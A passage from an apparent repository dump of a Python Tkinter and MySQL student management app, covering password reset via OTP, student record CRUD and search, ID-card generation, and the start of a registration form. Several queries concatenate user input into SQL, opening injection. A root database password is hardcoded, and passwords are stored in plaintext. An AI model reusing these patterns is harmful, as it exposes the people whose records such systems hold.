self.forgot_email_var.get(), msg)\n\n # self.Forgot_Frame.destroy()\n # self.Forgot_Frame = Frame(self.root, bg=\"forest green\")\n # self.Forgot_Frame.place(x=800, y=150)\n\n\n\n def verifyotp(self):\n self.end_time_var = time.time()\n self.time_var = self.end_time_var - self.strt_time_var\n if self.time_var > 60:\n messagebox.showerror(\"Timeout\",\"Your OTP is expired, Try again\")\n self.Forgot_Frame.destroy()\n self.forgot_pass()\n elif self.userotp_var.get()==\"\":\n messagebox.showerror(\"Error\",\"Please enter a OTP\")\n else:\n if str(self.userotp_var.get())==str(self.originalotp_var):\n self.Forgot_Frame.destroy()\n self.Forgot_Frame = Frame(self.root, bg=\"forest green\")\n self.Forgot_Frame.place(x=800, y=150)\n new_pass_lbl = Label(self.Forgot_Frame, text=\"New password\", image=self.email_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=4, column=0, padx=20, pady=10)\n txt_new_pass = Entry(self.Forgot_Frame, bd=\"5\", textvariable=self.new_pass_var, relief=GROOVE,font=(\"\", 15)).grid(row=4, column=1, padx=20)\n\n btn_update = Button(self.Forgot_Frame, text=\"Update\", width=15, command=self.update_pass,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=5,column=1,pady=10)\n\n\n else:\n messagebox.showerror(\"Error\",\"OTP does not match\")\n self.otp_trylimit_var -= 1\n if self.otp_trylimit_var != 0:\n self.sendotp()\n else:\n messagebox.showerror(\"Locked\",\"Your account is locked,Please contact administrator\")\n self.Forgot_Frame.destroy()\n self.forgot_email_var.set(\"\")\n self.login()\n\n def update_pass(self):\n if self.new_pass_var.get()==\"\":\n messagebox.showerror(\"Error\",\"Enter a password\")\n else:\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n cur.execute(\"UPDATE `admins` SET password='\"+str(self.new_pass_var.get())+\"' WHERE mail='\"+str(self.forgot_email_var.get())+\"'\")\n con.commit()\n con.close()\n self.Forgot_Frame.destroy()\n messagebox.showinfo(\"Success\",\"Password updated successfully\")\n self.Forgot_Frame.destroy()\n def back(self):\n self.Forgot_Frame.destroy()\n self.forgot_pass()\n\n\nroot = Tk()\nobj = Login_system(root)\nroot.mainloop()\n" }, { "alpha_fraction": 0.575687050819397, "alphanum_fraction": 0.6071175932884216, "avg_line_length": 54.93953323364258, "blob_id": "52e614d178228e2b7837d53a0dd24d55c6975992", "content_id": "b8cf6184edd05db2c646dfdc1a328bb5f73ddc4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24053, "license_type": "no_license", "max_line_length": 217, "num_lines": 430, "path": "/Student.py", "repo_name": "SRD2705/Student-Database", "src_encoding": "UTF-8", "text": "import datetime\nimport tkinter\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport pymysql\nimport os\nimport qrcode\nfrom PIL import Image,ImageTk,ImageDraw,ImageFont\nfrom resizeimage import resizeimage\nimport tempfile\nfrom datetime import datetime\nclass Students:\n def __init__(self):\n self.root = Tk()\n self.root.title(\"Student Management System\")\n self.root.geometry(\"1920x1080+0+0\")\n\n title = Label(self.root, text=\"Student Management System\", bd=20, relief=RIDGE,font=(\"times new roman\", 50, \"bold\"), bg=\"midnight blue\", fg=\"Green2\")\n title.pack(side=TOP, fill=X) # fill used for spread as its width\n\n user_title = Label(self.root,text=\"Welcome User\",bd=0,relief = RIDGE,font=(\"times new roman\", 20, \"bold\"),bg=\"midnight blue\",fg=\"red\")\n user_title.place(x=40,y=40)\n\n logout_btn = Button(self.root,text=\"LOGOUT\",width=8,bg='red',command=self.logout)\n logout_btn.place(x=1750,y=42)\n\n bottom = Label(self.root, text=\"Managed by SRD2705\", bd=10, relief=SOLID, font=(\"Ariel\", 20),bg=\"dark green\", fg=\"white\")\n bottom.pack(side=BOTTOM, fill=X)\n\n ############################################################## All Variables for database\n\n self.Roll_No_var = StringVar()\n self.name_var = StringVar()\n self.email_var = StringVar()\n self.gender_var = StringVar()\n self.contact_var = StringVar()\n self.dob_var = StringVar()\n self.course_var = StringVar()\n self.dept_var = StringVar()\n self.pass_var = StringVar()\n self.cgpa_var = StringVar()\n\n ################################################################### Variable for search\n self.search_by = StringVar()\n self.search_txt = StringVar()\n\n ############################################################### Manage Fame\n # Responsible for data operation of the students\n\n self.Manage_Frame = Frame(self.root, bd=10, relief=RIDGE, bg='Grey24')\n self.Manage_Frame.place(x=0, y=115, width=700, height=850)\n\n m_title = Label(self.Manage_Frame,text=\" Student Data Management Panel\",font=(\"Times New Roman\",30,\"bold\"),bg=\"Grey24\",fg=\"Orange2\")\n # We are using grid because in this case we do not need to take care of x,y location it follows row,column\n m_title.grid(row=0,columnspan=2,pady=10,padx=30)\n\n # Label and text fields for ROLL\n lbl_roll=Label(self.Manage_Frame,text=\"Roll No.\",font=(\"Times New Roman\",20,\"bold\"),bg=\"Grey24\",fg=\"White\")\n lbl_roll.grid(row=1,column=0,pady=10,padx=20,sticky='w') # Sticky property used for the left alignment\n\n txt_roll = Entry(self.Manage_Frame,textvariable=self.Roll_No_var,font=(\"Times New Roman\",15,\"bold\"),bd=5,relief = GROOVE)\n txt_roll.grid(row=1,column=1,pady=10,padx=20,sticky='w')\n\n # Label and text fields for NAME\n lbl_name = Label(self.Manage_Frame, text=\"Full Name\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_name.grid(row=2, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n txt_name = Entry(self.Manage_Frame, textvariable=self.name_var,font=(\"Times New Roman\", 15, \"bold\"), bd=5, relief=GROOVE)\n txt_name.grid(row=2, column=1, pady=10, padx=20, sticky='w')\n\n # Label and text fields for EMAIL\n lbl_email = Label(self.Manage_Frame, text=\"E-Mail\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_email.grid(row=3, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n txt_email = Entry(self.Manage_Frame, textvariable=self.email_var,font=(\"Times New Roman\", 15, \"bold\"), bd=5, relief=GROOVE)\n txt_email.grid(row=3, column=1, pady=10, padx=20, sticky='w')\n\n # Label and text fields for GENDER\n lbl_gender = Label(self.Manage_Frame, text=\"Gender\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_gender.grid(row=4, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n combo_gender = ttk.Combobox(self.Manage_Frame,textvariable=self.gender_var,font=(\"Times New Roman\", 15, \"bold\"),state=\"readonly\") # We use combo box because of gender we use drop down list\n combo_gender['values']=(\"Male\",\"Female\",\"Other\") # using readonly state because we dont want to edit the field after selecting it\n combo_gender.grid(row=4,column=1,pady=10, padx=20,sticky='w')\n\n # Label and text fields for PHONENUMBER\n lbl_phnum = Label(self.Manage_Frame, text=\"Contact Number\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_phnum.grid(row=5, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n txt_phnum = Entry(self.Manage_Frame, textvariable=self.contact_var,font=(\"Times New Roman\", 15, \"bold\"), bd=5, relief=GROOVE)\n txt_phnum.grid(row=5, column=1, pady=10, padx=20, sticky='w')\n\n # Label and text fields for DOB\n lbl_dob = Label(self.Manage_Frame, text=\"DOB\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_dob.grid(row=6, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n txt_dob = Entry(self.Manage_Frame, textvariable=self.dob_var,font=(\"Times New Roman\", 15, \"bold\"), bd=5, relief=GROOVE)\n txt_dob.grid(row=6, column=1, pady=10, padx=20, sticky='w')\n\n lbl_course = Label(self.Manage_Frame, text=\"Course\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_course.grid(row=7, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n combo_course = ttk.Combobox(self.Manage_Frame, textvariable=self.course_var, font=(\"Times New Roman\", 15, \"bold\"),state=\"readonly\") # We use combo box because of gender we use drop down list\n combo_course['values'] = (\"Diploma\", \"B.Tech\", \"BCA\", \"M.Tech\", \"MCA\",\"Phd\") # using readonly state because we dont want to edit the field after selecting it\n combo_course.grid(row=7, column=1, pady=10, padx=20, sticky='w')\n\n lbl_dept = Label(self.Manage_Frame, text=\"Department\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_dept.grid(row=8, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n combo_dept = ttk.Combobox(self.Manage_Frame, textvariable=self.dept_var, font=(\"Times New Roman\", 15, \"bold\"),state=\"readonly\") # We use combo box because of gender we use drop down list\n combo_dept['values'] = (\"Information Technology\",\"Computer Science\",\"Civil\",\"Mechanical\",\"Electrical\",\"Electronics\") # using readonly state because we dont want to edit the field after selecting it\n combo_dept.grid(row=8, column=1, pady=10, padx=20, sticky='w')\n\n lbl_pass = Label(self.Manage_Frame, text=\"Passing Year\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\",fg=\"White\")\n lbl_pass.grid(row=9, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n txt_pass = Entry(self.Manage_Frame, textvariable=self.pass_var, font=(\"Times New Roman\", 15, \"bold\"), bd=5,relief=GROOVE)\n txt_pass.grid(row=9, column=1, pady=10, padx=20, sticky='w')\n\n lbl_cgpa = Label(self.Manage_Frame, text=\"CGPA\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\",fg=\"White\")\n lbl_cgpa.grid(row=10, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n txt_cgpa = Entry(self.Manage_Frame, textvariable=self.cgpa_var, font=(\"Times New Roman\", 15, \"bold\"), bd=5,relief=GROOVE)\n txt_cgpa.grid(row=10, column=1, pady=10, padx=20, sticky='w')\n\n # Label and text fields for ADDRESS\n lbl_address = Label(self.Manage_Frame, text=\"Address\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"White\")\n lbl_address.grid(row=11, column=0, pady=10, padx=20, sticky='w') # Sticky property used for the left alignment\n\n self.txt_address = Text(self.Manage_Frame,width=30,height=4,font=(\"Times New Roman\", 15))\n self.txt_address.grid(row=11, column=1, pady=10, padx=20, sticky='w')\n\n # Button frame\n # creating button for various operations\n self.btn_Frame = Frame(self.root, bd=10,bg='grey24')\n self.btn_Frame.place(x=70, y=870, width=600, height=80)\n\n addbtn = Button(self.btn_Frame,text=\"ADD\",width=8,bg='green',command=self.add_students).grid(row=0,column=0,padx=20)\n updatebtn = Button(self.btn_Frame, text=\"UPDATE\", width=8,bg=\"yellow\",command=self.update_data).grid(row=0, column=1, padx=20)\n deletebtn = Button(self.btn_Frame, text=\"DELETE\", width=8,bg=\"red\",command=self.delete_data).grid(row=0, column=2, padx=20)\n clearbtn = Button(self.btn_Frame, text=\"CLEAR\", width=8,command=self.clear).grid(row=0, column=3, padx=20)\n generateidbtn = Button(self.btn_Frame, text=\"GENERATE ID\", width=10,bg=\"blue\",command=self.generate_id).grid(row=1, columnspan=4, padx=20,pady=10)\n\n\n #############################################3 Detail Frame\n # Responsible for data viewing and filtering\n\n Detail_Frame = Frame(self.root, bd=10, relief=RIDGE, bg='Grey24')\n Detail_Frame.place(x=700, y=115, width=1220, height=850)\n\n lbl_search = Label(Detail_Frame, text=\"Search Filter\", font=(\"Times New Roman\", 20, \"bold\"), bg=\"Grey24\", fg=\"Yellow\")\n lbl_search.grid(row=0, column=0, pady=10, padx=20, sticky='w')\n\n combo_search = ttk.Combobox(Detail_Frame,textvariable=self.search_by, font=(\"Times New Roman\", 15, \"bold\"),state=\"readonly\") # We use combo box because of gender we use drop down list\n combo_search['values'] = (\"roll_no\",\"name\",\"contact\",\"course\",\"dept\",\"pass_year\",\"cgpa\") # using readonly state because we dont want to edit the field after selecting it\n combo_search.grid(row=0, column=1, pady=10, padx=20, sticky='w')\n\n txt_search = Entry(Detail_Frame, textvariable=self.search_txt, font=(\"Times New Roman\", 15, \"bold\"), bd=5, relief=RIDGE)\n txt_search.grid(row=0, column=2, pady=10, padx=20, sticky='w')\n\n searchbtn = Button(Detail_Frame, text=\"SEARCH\", width=8,command=self.search_data).grid(row=0, column=3, padx=20)\n showallbtn = Button(Detail_Frame, text=\"SHOW ALL\", width=8,command=self.fetch_data).grid(row=0, column=4, padx=20)\n\n ######################################################### Table frame(for grid)\n Table_Frame=Frame(Detail_Frame,bd=4,relief=SOLID,bg='White')\n Table_Frame.place(x=4,y=60,width=1190,height=765)\n\n # creating scrollbar for data scrolling\n scroll_x = Scrollbar(Table_Frame,orient=HORIZONTAL)\n scroll_y = Scrollbar(Table_Frame, orient=VERTICAL)\n self.Student_table = ttk.Treeview(Table_Frame,columns=(\"roll\",\"name\",\"email\",\"gender\",\"contact\",\"dob\",\"course\",\"department\",\"passyear\",\"cgpa\",\"address\"),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)\n scroll_x.pack(side=BOTTOM,fill=X)\n scroll_y.pack(side=RIGHT,fill=Y)\n scroll_x.config(command=self.Student_table.xview)\n scroll_y.config(command=self.Student_table.yview)\n self.Student_table.heading(\"roll\",text=\"ROLL NO.\")\n self.Student_table.heading(\"name\", text=\"NAME\")\n self.Student_table.heading(\"email\", text=\"E-MAIL\")\n self.Student_table.heading(\"gender\", text=\"GENDER\")\n self.Student_table.heading(\"contact\", text=\"CONTACT NO.\")\n self.Student_table.heading(\"dob\", text=\"DOB\")\n self.Student_table.heading(\"course\", text=\"COURSE\")\n self.Student_table.heading(\"department\",text=\"DEPARTMENT\")\n self.Student_table.heading(\"passyear\", text=\"PASS YEAR\")\n self.Student_table.heading(\"cgpa\", text=\"CGPA\")\n self.Student_table.heading(\"address\", text=\"ADDRESS\")\n self.Student_table['show']='headings'\n self.Student_table.column(\"roll\", width=160)\n self.Student_table.column(\"name\", width=240)\n self.Student_table.column(\"email\", width=260)\n self.Student_table.column(\"gender\", width=110)\n self.Student_table.column(\"contact\", width=180)\n self.Student_table.column(\"dob\", width=170)\n self.Student_table.column(\"course\", width=120)\n self.Student_table.column(\"department\", width=220)\n self.Student_table.column(\"passyear\", width=120)\n self.Student_table.column(\"cgpa\", width=100)\n self.Student_table.column(\"address\", width=400)\n self.Student_table.pack(fill=BOTH,expand=1) # For adjusting the screen\n self.Student_table.bind(\"<ButtonRelease-1>\",self.get_cursor)\n\n self.fetch_data()\n self.root.mainloop()\n\n\n ####################################################### Function for data add\n def add_students(self):\n if self.Roll_No_var.get() == \"\" or self.name_var.get()==\"\" or self.contact_var.get()==\"\" or self.dob_var.get()==\"\":\n messagebox.showerror(\"Error\",\"! All fields are required !\")\n elif len(self.contact_var.get()) != 10:\n messagebox.showerror(\"Error\",\"! Contact number must be 10 digits !\")\n else:\n con = pymysql.connect(host='localhost',user=\"root\",password=\"Rishi@2705\",database=\"stm\")\n cur = con.cursor()\n cur.execute(\"insert into Students values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\",(\n self.Roll_No_var.get(),\n self.name_var.get(),\n self.email_var.get(),\n self.gender_var.get(),\n self.contact_var.get(),\n self.dob_var.get(),\n self.course_var.get(),\n self.dept_var.get(),\n self.pass_var.get(),\n self.cgpa_var.get(),\n self.txt_address.get('1.0',END)\n ))\n con.commit()\n self.fetch_data()\n self.clear()\n con.close()\n messagebox.showinfo(\"Success\",\"Data added successfully\")\n\n def fetch_data(self):\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n cur.execute(\"select * from Students\")\n rows = cur.fetchall()\n if len(rows) != 0:\n self.Student_table.delete(*self.Student_table.get_children())\n for row in rows:\n self.Student_table.insert('',END,values=row)\n con.commit()\n con.close()\n\n def clear(self):\n self.Roll_No_var.set(\"\"),\n self.name_var.set(\"\"),\n self.email_var.set(\"\"),\n self.gender_var.set(\"\"),\n self.contact_var.set(\"\"),\n self.dob_var.set(\"\"),\n self.course_var.set(\"\"),\n self.dept_var.set(\"\"),\n self.pass_var.set(\"\"),\n self.cgpa_var.set(\"\")\n self.txt_address.delete('1.0', END)\n\n def get_cursor(self,ev):\n cursor_row = self.Student_table.focus()\n contents=self.Student_table.item(cursor_row)\n row=contents['values']\n self.Roll_No_var.set(row[0]),\n self.name_var.set(row[1]),\n self.email_var.set(row[2]),\n self.gender_var.set(row[3]),\n self.contact_var.set(row[4]),\n self.dob_var.set(row[5]),\n self.course_var.set(row[6]),\n self.dept_var.set(row[7]),\n self.pass_var.set(row[8]),\n self.cgpa_var.set(row[9]),\n self.txt_address.delete('1.0', END)\n self.txt_address.insert(END,row[10])\n\n def update_data(self):\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n cur.execute(\"update Students set name=%s,email=%s,gender=%s,contact=%s,dob=%s,course=%s,dept=%s,pass_year=%s,cgpa=%s,address=%s where roll_no=%s\", (\n self.name_var.get(),\n self.email_var.get(),\n self.gender_var.get(),\n self.contact_var.get(),\n self.dob_var.get(),\n self.course_var.get(),\n self.dept_var.get(),\n self.pass_var.get(),\n self.cgpa_var.get(),\n self.txt_address.get('1.0', END),\n self.Roll_No_var.get()\n ))\n con.commit()\n self.fetch_data()\n self.clear()\n con.close()\n messagebox.showinfo(\"Success\",\"Data updated successfully\")\n\n def delete_data(self):\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n cur.execute(\"delete from Students where roll_no=%s\",self.Roll_No_var.get())\n con.commit()\n con.close()\n self.fetch_data()\n self.clear()\n\n def search_data(self):\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n if self.search_by.get() == \"roll_no\":\n cur.execute(\"select * from Students where roll_no=\"+str(self.search_txt.get()))\n else:\n cur.execute(\"select * from Students where \"+str(self.search_by.get())+\" LIKE '%\"+str(self.search_txt.get())+\"%'\")\n rows = cur.fetchall()\n if len(rows) != 0:\n self.Student_table.delete(*self.Student_table.get_children())\n for row in rows:\n self.Student_table.insert('', END, values=row)\n con.commit()\n con.close()\n\n def logout(self):\n self.root.destroy()\n os.system(\"python3 login.py\")\n # import login\n \n def generate_id(self):\n # self.Student_table.bind(\"<ButtonRelease-1>\", self.get_cursor)\n # self.Manage_Frame.destroy()\n # self.btn_Frame.destroy()\n self.Generate_Frame = Frame(self.root, bd=10, relief=RIDGE, bg='Grey24')\n self.Generate_Frame.place(x=0, y=115, width=700, height=850)\n self.ID_Frame = Frame(self.Generate_Frame,bd=10,relief=SOLID,bg=\"White\")\n self.ID_Frame.place(x=140,y=40,width =400,height=600 )\n self.qr_lbl = Label(self.ID_Frame,bd=10,)\n self.qr_lbl.place(x=108,y=100,width =180,height=180)\n\n qr_title = Label(self.ID_Frame,text=\"ID Card\",font=(\"goudy old style\",20),bg=\"blue2\",fg=\"white\").pack(side=TOP,fill=X)\n\n qr_lbl_name = Label(self.ID_Frame, text=\"Name: \", font=(\"Times New Roman\", 20, \"bold\"), bg=\"white\",fg=\"Black\")\n qr_lbl_name.place(x=20,y=300)\n qr_txt_name = Label(self.ID_Frame, text=self.name_var.get(), font=(\"times new roman\", 15), bg=\"white\", fg=\"Black\")\n qr_txt_name.place(x=120,y=305)\n\n qr_lbl_roll = Label(self.ID_Frame, text=\"Roll: \", font=(\"Times New Roman\", 20, \"bold\"), bg=\"white\",fg=\"Black\")\n qr_lbl_roll.place(x=20,y=340)\n qr_txt_roll = Label(self.ID_Frame, text=self.Roll_No_var.get(), font=(\"times new roman\", 15), bg=\"white\", fg=\"Black\")\n qr_txt_roll.place(x=120,y=345)\n\n qr_lbl_dept = Label(self.ID_Frame, text=\"Dept.: \", font=(\"Times New Roman\", 20, \"bold\"), bg=\"white\",fg=\"Black\")\n qr_lbl_dept.place(x=20,y=380)\n qr_txt_dept = Label(self.ID_Frame, text=self.dept_var.get(), font=(\"times new roman\", 15), bg=\"white\", fg=\"Black\")\n qr_txt_dept.place(x=120,y=385)\n\n qr_lbl_course = Label(self.ID_Frame, text=\"Course: \", font=(\"Times New Roman\", 20, \"bold\"), bg=\"white\",fg=\"Black\")\n qr_lbl_course.place(x=20,y=420)\n qr_txt_course = Label(self.ID_Frame, text=self.course_var.get()+\" (\"+self.pass_var.get()+\")\", font=(\"times new roman\", 15), bg=\"white\", fg=\"Black\")\n qr_txt_course.place(x=120,y=425)\n\n qr_lbl_gender = Label(self.ID_Frame, text=\"Gender: \", font=(\"Times New Roman\", 20, \"bold\"), bg=\"white\",fg=\"Black\")\n qr_lbl_gender.place(x=20,y=460)\n qr_txt_gender = Label(self.ID_Frame, text=self.gender_var.get(), font=(\"times new roman\", 15), bg=\"white\", fg=\"Black\")\n qr_txt_gender.place(x=120,y=465)\n\n back_btn = Button(self.Generate_Frame, text=\"BACK\", width=10, bg=\"yellow\", command=self.back).place(x=100,y=700)\n generateidbtn = Button(self.Generate_Frame, text=\"GENERATE ID\", width=10, bg=\"blue\",command=self.generate_id).place(x=280, y=700)\n download_btn = Button(self.Generate_Frame, text=\"DOWNLOAD\", width=10, bg=\"yellow\",command=self.download).place(x=460, y=700)\n\n\n if self.name_var.get()==\"\" or self.Roll_No_var.get()==\"\":\n fail_lbl = Label(self.Generate_Frame,text=\"No ID generated !!\",font=(\"goudy old style\",20),bg=\"grey24\",fg=\"red\").place(x=220,y=750)\n advice_lbl = Label(self.Generate_Frame,text=\"Please select a student from side table ---> \",font=(\"goudy old style\",20),bg=\"grey24\",fg=\"red\").place(x=60,y=790)\n else:\n ############################################################################ QR code part\n qr_data = (f\"Name: {self.name_var.get()}\\nRoll: {self.Roll_No_var.get()}\\nDepartment: {self.dept_var.get()}\\nCourse: {self.course_var.get()} ({self.pass_var.get()})\\nGender: {self.gender_var.get()}\")\n self.qr_code = qrcode.make(qr_data)\n self.qr_code = resizeimage.resize_cover(self.qr_code,[180,180])\n self.qr_code.save(\"ID cards/\"+self.Roll_No_var.get()+\"-QR.png\")\n self.qrimage = ImageTk.PhotoImage(self.qr_code)\n self.qr_lbl.config(image=self.qrimage)\n success_lbl = Label(self.Generate_Frame,text=\"ID generated successfully !\",font=(\"goudy old style\",20),bg=\"grey24\",fg=\"green\").place(x=160,y=750)\n\n def back(self):\n self.Generate_Frame.destroy()\n\n def download(self):\n tmpdate = datetime.now()\n gen_date= tmpdate.strftime(\"ID generation date: %d-%m-%y (%I:%M:%S %p)\")\n image=Image.new('RGB',(400,600),(255,255,255))\n draw=ImageDraw.Draw(image)\n font=ImageFont.truetype('timesnewroman.ttf',size=50)\n (x,y)=(105,0)\n shape = [(0,0),(600,55)]\n draw.rectangle(shape,fill=\"blue\")\n shape = [(5,60),(394,564)]\n draw.rectangle(shape,outline=\"black\",width=3)\n shape = [(0,600), (400, 568)]\n draw.rectangle(shape, fill=\"blue\")\n (x, y) = (105, 0)\n draw.text((x, y), \"ID CARD\", fill=\"white\", font=font,align=\"center\")\n font = ImageFont.truetype('timesnewroman.ttf', size=20)\n draw.text((20, 300), \"Name: \", fill=\"black\", font=font)\n draw.text((120, 300), self.name_var.get(), fill=\"black\", font=font)\n draw.text((20, 340), \"Roll No.: \", fill=\"black\", font=font)\n draw.text((120, 340), self.Roll_No_var.get(), fill=\"black\", font=font)\n draw.text((20, 380), \"Dept.: \", fill=\"black\", font=font)\n draw.text((120, 380), self.dept_var.get(), fill=\"black\", font=font)\n draw.text((20, 420), \"Course: \", fill=\"black\", font=font)\n draw.text((120, 420), self.course_var.get()+\" (\"+self.pass_var.get()+\")\", fill=\"black\", font=font)\n draw.text((20, 460), \"Gender: \", fill=\"black\", font=font)\n draw.text((120, 460), self.gender_var.get(), fill=\"black\", font=font)\n draw.text((40,572), gen_date,fill=\"white\", font=ImageFont.truetype('timesnewroman.ttf', size=18),align=\"center\")\n im = Image.open(\"ID cards/\"+self.Roll_No_var.get()+\"-QR.png\")\n image.paste(im,(110,90))\n shape = [(110,90),(290,270)]\n draw.rectangle(shape,outline=\"black\",width=3)\n image.save(\"ID cards/\"+self.Roll_No_var.get()+\".png\")\n im.close()\n os.remove(\"ID cards/\"+self.Roll_No_var.get()+\"-QR.png\")\n\n\n# root = Tk() # For tkinter invoke\n# ob = Students(root) # make an object(ob) of that class and pass the tkinter(root)\n# root.mainloop() # for run tkinter in main loop\n\n# comment this because we dont want to access this panel directly\n# this panel can only be access with login page\n# NOTE: If want to access this page from here uncomment above thing, pass root as an argument in the class, remove mainloop execution before all def started\n# and in class dont initialize tk(), replace tk() with root in the class first line" }, { "alpha_fraction": 0.5985247492790222, "alphanum_fraction": 0.6197501420974731, "avg_line_length": 52.57258224487305, "blob_id": "e36d628a43d14fb9a462e728aeaf478af0e67337", "content_id": "6acce33d3975aa69a7c585db29d6fe442f38d8a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6643, "license_type": "no_license", "max_line_length": 234, "num_lines": 124, "path": "/register.py", "repo_name": "SRD2705/Student-Database", "src_encoding": "UTF-8", "text": "import os\nfrom tkinter import *\nfrom tkinter import ttk\nfrom PIL import ImageTk\nfrom tkinter import messagebox\nimport pymysql\nclass Login_system:\n def __init__(self,root):\n self.root = root\n self.root.title(\"Registration Window\")\n self.root.geometry(\"1920x1080+0+0\")\n\n ################################# All images\n\n self.bg_icon = ImageTk.PhotoImage(file=\"images/bg.jpg\")\n self.user_icon=PhotoImage(file=\"images/username.png\")\n self.mail_icon=PhotoImage(file=\"images/mail.png\")\n self.gender_icon=PhotoImage(file=\"images/gender.png\")\n self.contact_icon=PhotoImage(file=\"images/contact.png\")\n self.id_icon=PhotoImage(file=\"images/id.png\")\n self.pass_icon=PhotoImage(file=\"images/pass.png\")\n self.logo_icon = PhotoImage(file=\"images/register.png\")\n\n\n ############################################# Variables\n self.name_var = StringVar()\n self.mail_var = StringVar()\n self.gender_var = StringVar()\n self.contact_var=StringVar()\n self.idtype_var = StringVar()\n self.idnum_var = StringVar()\n self.user_var=StringVar()\n self.pass_var = StringVar()\n\n\n bg_label = Label(self.root,image=self.bg_icon).pack()\n\n title=Label(self.root,text=\"Registration Panel\",font=(\"Times new roman\",40,\"bold\"),bg=\"grey14\",fg=\"yellow3\",bd=10,relief=GROOVE)\n title.place(x=0,y=0,relwidth=1)\n\n Login_Frame = Frame(self.root,bg=\"forest green\")\n Login_Frame.place(x=420,y=120)\n logo_lbl = Label(Login_Frame,image=self.logo_icon,bd=0).grid(row=0,columnspan=6,pady=20)\n\n name_lbl = Label(Login_Frame,text=\"Full name\", image=self.user_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=1, column=0, padx=0,pady=0)\n txt_name = Entry(Login_Frame, bd=\"5\", textvariable=self.name_var, relief=GROOVE, font=(\"\", 15)).grid(row=1,column=1,padx=20)\n\n mail_lbl = Label(Login_Frame, text=\"Email\", image=self.mail_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=1, column=3, padx=0,pady=0)\n txt_mail = Entry(Login_Frame, bd=\"5\", textvariable=self.mail_var, relief=GROOVE, font=(\"\", 15)).grid(row=1, column=4,padx=20)\n\n lbl_gender = Label(Login_Frame, text=\"Gender\",image=self.gender_icon,compound=LEFT, font=(\"Times New Roman\", 20, \"bold\"), bg=\"forest green\")\n lbl_gender.grid(row=3, column=0, pady=0, padx=0, sticky='w') # Sticky property used for the left alignment\n\n combo_gender = ttk.Combobox(Login_Frame, textvariable=self.gender_var, font=(\"Times New Roman\", 20, \"bold\"),state=\"readonly\") # We use combo box because of gender we use drop down list\n combo_gender['values'] = (\"Male\", \"Female\", \"Other\") # using readonly state because we dont want to edit the field after selecting it\n combo_gender.grid(row=3, column=1, padx=0, sticky='w')\n\n contact_lbl = Label(Login_Frame, text=\"Contact Number\", image=self.contact_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=3, column=3, padx=0,pady=0)\n txt_contact = Entry(Login_Frame, bd=\"5\", textvariable=self.contact_var, relief=GROOVE, font=(\"\", 15)).grid(row=3,column=4,padx=0)\n\n\n lbl_idtype = Label(Login_Frame, text=\"ID Type\",image=self.id_icon,compound=LEFT, font=(\"Times New Roman\", 20, \"bold\"), bg=\"forest green\")\n lbl_idtype.grid(row=4, column=0, padx=0, sticky='w') # Sticky property used for the left alignment\n\n combo_idtype = ttk.Combobox(Login_Frame, textvariable=self.idtype_var, font=(\"Times New Roman\", 20, \"bold\"),state=\"readonly\") # We use combo box because of gender we use drop down list\n combo_idtype['values'] = (\"Aadhaar Card\", \"Passport\", \"Pancard\",\"Voter ID\") # using readonly state because we dont want to edit the field after selecting it\n combo_idtype.grid(row=4, column=1, padx=0, sticky='w')\n\n\n\n idnum_lbl = Label(Login_Frame, text=\"ID Number\", image=self.id_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=4, column=3, padx=20,pady=10)\n txt_idnum = Entry(Login_Frame, bd=\"5\", textvariable=self.idnum_var, relief=GROOVE, font=(\"\", 15)).grid(row=4,column=4,padx=0)\n\n\n\n\n user_lbl = Label(Login_Frame,text=\"Username\",image=self.user_icon,compound=LEFT,font=(\"times new roman\",20,\"bold\"),bg=\"forest green\").grid(row=6,column=0,padx=0,pady=0)\n txt_user = 